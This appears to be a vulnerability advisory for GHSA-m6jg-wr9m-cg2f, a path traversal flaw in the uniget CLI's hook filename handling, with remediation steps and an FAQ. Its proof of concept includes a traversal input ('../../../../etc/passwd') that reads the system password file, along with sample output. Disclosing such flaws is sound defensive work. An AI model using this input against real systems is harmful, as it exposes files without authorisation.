GHSA-m6jg-wr9m-cg2f: Path Traversal
Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details File: hooks.go Lines 135-160 hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC Step 1: Set cat as editor export EDITOR="cat" Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...]
<img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/gitlab.com/uniget-org/clito a version that resolves this vulnerability.Fixed in 0.27.6 - Configuration
Do not supply hook filenames containing path traversal sequences (../). Ensure hookFileName is sanitized to prevent "../" (and similar) from escaping the pre-install hooks directory during filename handling.
uniget hooks edit --type=pre-install hook filename/path = Remove/avoid directory traversal sequences (e.g., "../../../../etc/passwd") in hook filenames
Event History
Frequently Asked Questions
What is the severity of GHSA-m6jg-wr9m-cg2f?
The severity of GHSA-m6jg-wr9m-cg2f is rated at risk level 52.
How do I fix GHSA-m6jg-wr9m-cg2f?
To fix GHSA-m6jg-wr9m-cg2f, upgrade to version v0.27.6 or later of the affected software.
What is the nature of the vulnerability in GHSA-m6jg-wr9m-cg2f?
GHSA-m6jg-wr9m-cg2f is a Path Traversal vulnerability that allows attackers to access files outside the intended directory.
Which software is affected by GHSA-m6jg-wr9m-cg2f?
GHSA-m6jg-wr9m-cg2f affects the software hosted at go/gitlab.com/uniget-org/cli.
What can an attacker achieve through GHSA-m6jg-wr9m-cg2f?
An attacker can access and manipulate arbitrary files outside the hooks directory using directory escape sequences.